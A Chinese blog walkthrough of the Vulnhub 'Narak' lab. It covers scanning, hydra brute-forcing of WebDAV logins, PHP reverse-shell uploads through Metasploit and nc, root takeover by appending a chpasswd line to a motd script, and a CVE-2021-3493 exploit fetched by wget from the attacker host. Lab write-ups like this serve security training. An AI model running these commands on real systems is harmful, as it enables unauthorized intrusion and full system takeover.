Vulnhub-Narak靶场

本篇主要对Vulnhub中Narak靶场进行练习:

通过对此靶场的练习,熟练掌握初步信息收集、目录发现、MSF利用、NC反弹、口令爆破、提权等知识;全方位细致演示,笔记只为勉励自己,本人只是一个努力上山的人,若有错处,大佬勿喷!!!

靶机下载地址:
https://www.vulnhub.com/entry/ha-narak,569/
信息收集:
通过masscan 快速发现地址及端口:

masscan -p 1-65535 192.168.45.0/24 -e eth0 --rate=100000

发现192.168.45.136 开放22,80端口:
Vulnhub-Narak靶场
拨测80端口,发现web页面:
Vulnhub-Narak靶场
使用目录探测工具:

dirb http://192.168.45.136/

发现webdav目录:
Vulnhub-Narak靶场
这里同样可以使用dirsearch.py来进行目录扫描:
python3 dirsearch.py -u http://192.168.45.136 -f -w /usr/share/wordlists/dirb/common.txt
Vulnhub-Narak靶场

WebDAV基于HTTP的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新方法,使应用程序可对web Server直接读写, 并支持写文件锁定及解锁,还可以支持文件的版本控制。
常用的文件共享有三种: FTP、Samba、WebDAV。

通过爆破的方式去登录WebDAV,这里使用cewl来制作字典:
cewl会通过爬行网页,把网页上发现的词生成字典:

cewl http://192.168.45.136/ -w wt.txt

Vulnhub-Narak靶场
使用hydra对账号密码进行爆破:

hydra -L wt.txt -P wt.txt 192.168.45.136 http-get /webdav

获取账号:yamdoot 密码:Swarg
Vulnhub-Narak靶场
成功登录WebDAV:
Vulnhub-Narak靶场
第一种方法:通过msf来进行木马上传:
通过use exploit/windows/http/xampp_webdav_upload_php攻击载荷来进行测试:

set payload php/meterpreter/reverse_tcp
set RHOST 192.168.45.136
set USERNAME yamdoot
set PASSWORD Swarg
set LHOST 192.168.45.135

Vulnhub-Narak靶场
运行上传的PHP文件后,成功反弹
Vulnhub-Narak靶场
通过回退目录 发现3个用户:

inferno narak yamdoot

Vulnhub-Narak靶场
在mnt里面发现两个文件:
Vulnhub-Narak靶场

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

这一段使用的是Brainfuck加密,通过在线解密得出:chitragupt
Vulnhub-Narak靶场

eWFtZG9vdDpTd2FyZw==

这一段使用的是base64加密 ,就是之前我们爆破登录成功的账号和密码:
Vulnhub-Narak靶场
前期端口扫描的时候,发现开放22 和 80端口,我们可以通过获取到密码,去尝试登录账号:

inferno  chitragupt

Vulnhub-Narak靶场
成功登录获取第一个flag。
使用msf的时候,在meterpreter中同样可以进行文件上传啊,使用shell后提升交互,然后提权等等:

upload /root/Desktop/CVE-2021-3493-main/exp

Vulnhub-Narak靶场
Vulnhub-Narak靶场

第二种方法:使用webdav上传,利用nc监听并反弹shell:
准备shell,编辑监听地址:

cp /usr/share/webshells/php/php-reverse-shell.php .

Vulnhub-Narak靶场
使用Webdav命令将php木马上传靶机:
Vulnhub-Narak靶场
成功反弹获取shell,使用python 来提升交互shell:
如果靶机里面有python2同样可以使用第一种命令,根据实际情况而定:

python -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"

Vulnhub-Narak靶场
使用之前的账号密码通过ssh登录:
Vulnhub-Narak靶场
或者直接在交付shell上面进目录查看:
Vulnhub-Narak靶场
第二个flag获取方法有两种:
第一种:使用motd提权,在文件中最后一行写入命令,将root密码替换掉,切换root用户获取。

motd = message of the day 用户登录系统时弹出的欢迎信息,默认是放在/etc/update-motd.d/的shell脚本。这些脚本文件就是当用户登录时就能以root用户身份执行一段代码。故尝试修改其中某个脚本,当每次登录系统就把root用户密码修改为一个已知的密码。

通过命令查找可写、可执行的文件:

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

在文件中写入:

 echo "echo 'root:123456'| chpasswd">>00-header

Vulnhub-Narak靶场
退出再次登录 切换用户root ,使用之前写进去的密码123456 成功登录 获取第二个flag:
Vulnhub-Narak靶场
第二种,通过gcc编译提权文件,上传执行后,提权至root获取:
通过https://github.com/briskets/CVE-2021-3493 下载提权文件:
使用gcc将提权文件编译成可执行文件:

gcc exploit.c -o exploit

Vulnhub-Narak靶场
本地开启80端口,提供下载:
通过wget 传送至靶机上:

wget http://192.168.45.135/exploit /tmp/exploit

Vulnhub-Narak靶场
赋予执行权限:并成功提权,切换root目录下 查看root.txt 获取第二个flag:
Vulnhub-Narak靶场
本次靶场完美结束,这里提一句,当获取权限后,就可以直接查看flag,及提权后flag获取。可不用解密;只是多个解密小知识点。
Vulnhub-Narak靶场

以直接查看flag,及提权后flag获取。可不用解密。
只是多个解密小知识点。
[外链图片转存中…(img-Mn53Pxv1-1640769585964)]

上一篇:Vulnhub 靶场 HMS?: 1


下一篇:Vulnhub 靶机 CONTAINME: 1